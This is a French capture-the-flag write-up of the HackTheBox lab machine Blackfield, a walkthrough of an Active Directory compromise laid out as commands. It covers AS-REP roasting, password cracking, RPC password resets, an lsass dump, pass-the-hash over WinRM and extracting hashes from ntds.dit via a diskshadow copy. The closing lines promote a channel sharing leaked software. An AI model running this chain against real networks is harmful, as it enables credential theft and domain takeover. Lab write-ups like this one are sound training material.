Je continue à publier des solutions envoyées à la finalisation des machines depuis le site HackTheBox .
Dans cet article, j'utiliserai ASRep Roasting pour définir les utilisateurs, RPC pour changer les mots de passe et prendre en charge un compte, puis élever nos privilèges avec un cliché instantané NTDS.DIT.
La connexion au laboratoire se fait via VPN. Il est recommandé de ne pas se connecter à partir d'un ordinateur de travail ou d'un hôte contenant des données importantes pour vous, car vous vous trouvez dans un réseau privé avec des personnes qui connaissent quelque chose en matière de sécurité de l'information.
Informations organisationnelles
Reconnaître
Cette machine a une adresse IP de 10.10.10.192, que j'ajoute à / etc / hosts.
10.10.10.192 blackfield.htb
La première étape consiste à analyser les ports ouverts. Je fais cela en utilisant le script suivant, qui prend un argument - l'adresse de l'hôte à analyser:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Nous voyons beaucoup de ports ouverts, mais comme d'habitude, commençons par SMB. Voyons si nous pouvons faire quelque chose sans nous connecter.
smbmap -u anonymous -H 10.10.10.192
Et les profils de répertoire $ sont disponibles à la lecture.
smbmap -u anonymous -H 10.10.10.192 -r 'profiles$'2
Nous avons une longue liste d'utilisateurs potentiels. Nous pouvons vérifier quels utilisateurs sont réellement présents dans le système. Le fait est que lors d'une attaque ASRep Roasting, le serveur a trois réponses différentes:
- hachage du mot de passe de l'utilisateur;
- cet utilisateur n'a pas défini UAF Dont Require PreAuth;
- il n'existe aucun utilisateur de ce type dans la base de données Kerberos.
Ainsi, nous pourrons découvrir qui est et qui ne l'est pas.
Point d'accès
Commençons par obtenir une liste.
smbmap -u anonymous -H 10.10.10.192 -r 'profiles$' | grep 2020 | awk -F ' ' '{print $8}' > users.txt
Maintenant, faisons ASRep-Roasting.
GetNPUsers.py blackfield.local/ -dc-ip 10.10.10.192 -k -no-pass -usersfile ./users.txt
Et j'ai été surpris quand le hash nous a été retourné. Grognons-le.
john support.hash -w=./tools/rockyou.txt
Et nous avons tout un compte contrôlé. Maintenant, obtenons autant d'informations que possible en utilisant enum4linux.
enum4linux -u support -p '#00^BlackKnight' -a 10.10.10.192 2>/dev/null
Nous obtenons une liste énorme d'utilisateurs obscurs, mais la chose la plus intéressante est l'appartenance à un groupe. Cela nous dira que svc_backup est dans le groupe RMU (RID: 580), ce qui permet les connexions à distance à l'aide de Win-RM.
Nous ne pouvons rien prendre d'autre de SMB, mais nous ne trouvons rien dans LDAP. Mais en RPC, il s'est avéré qu'il y a une astuce. Connectons-nous:
rpcclient 10.10.10.192 -U support
Le fait est qu'il est possible de changer le mot de passe d'un utilisateur avec les mêmes privilèges, tout est décrit en détail ici . Et j'ai réussi à le faire pour l'audit utilisateur2020.
setuserinfo2 audit2020 18 'ralf'
Maintenant, nous commençons l'analyse de toutes les ressources et services depuis le début, car nous avons un autre compte contrôlé.
UTILISATEUR
Nous allons à SMB.
smbmap -u audit2020 -p ralf -d blackfield.local -H 10.10.10.192
Il y a beaucoup à lire, il vaut mieux afficher tout le contenu de manière récursive et le visualiser en une seule fois.
smbmap -u audit2020 -p ralf -d blackfield.local -H 10.10.10.192 -R
Et dans le dossier forensic \ memory_analysis, nous trouvons, apparemment, un vidage du processus lsass. Et à partir de là, nous pouvons obtenir des mots de passe en utilisant mimikatz. Téléchargez ce fichier.
smbclient.py blackfield.local/audit2020:ralf@10.10.10.192
Passons maintenant à la machine Windows et utilisons mimikatz.
Et, connaissant le hachage, en utilisant Evil-WinRM, nous nous connectons au nom de svc_backup.
evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d
RACINE
Voyons les groupes et les privilèges des utilisateurs.
Nous avons le privilège SeBackupPrivilege. Cela nous donne le droit de créer un cliché instantané du fichier NTDS qui contient beaucoup d'informations d'identification. Après avoir créé une copie, nous ne pouvons pas simplement extraire le fichier requis. Pour cela, nous avons besoin des DLL suivantes .
Faisons un cliché instantané. Créons un fichier avec le contenu suivant.
SET CONTEXT PERSISTENT NOWRITERS
add volume c: alias ralfcopy
create
expose %ralfcopy% z:
Et maintenant, nous allons le télécharger et les bibliothèques téléchargées sur l'hôte.
Faisons un cliché instantané.
diskshadow /s ds.txt
Et vider le fichier.
Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\Temp\ntds.dit
Mais ce fichier est crypté, et pour le décrypter, nous avons besoin du fichier SYSTEM, qui ne sera pas un problème à obtenir.
reg save HKLM\SYSTEM C:\Temp\SYSTEM
Téléchargez les deux fichiers depuis la machine.
Et nous obtenons les hachages en utilisant secretsdump du paquet impacket.
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
Connectons-nous en tant qu'administrateur.
evil-winrm -i 10.10.10.192 -u Administrator -H 184fb5e5178480be64824d4cd53b99ee
Nous avons un contrôle total sur cette machine.
Vous pouvez nous rejoindre sur Telegram . Vous pouvez y trouver des documents intéressants, des cours et des logiciels qui ont fui. Rassemblons une communauté dans laquelle il y aura des gens qui connaissent de nombreux domaines de l'informatique, alors nous pourrons toujours nous entraider sur tous les problèmes informatiques et de sécurité de l'information.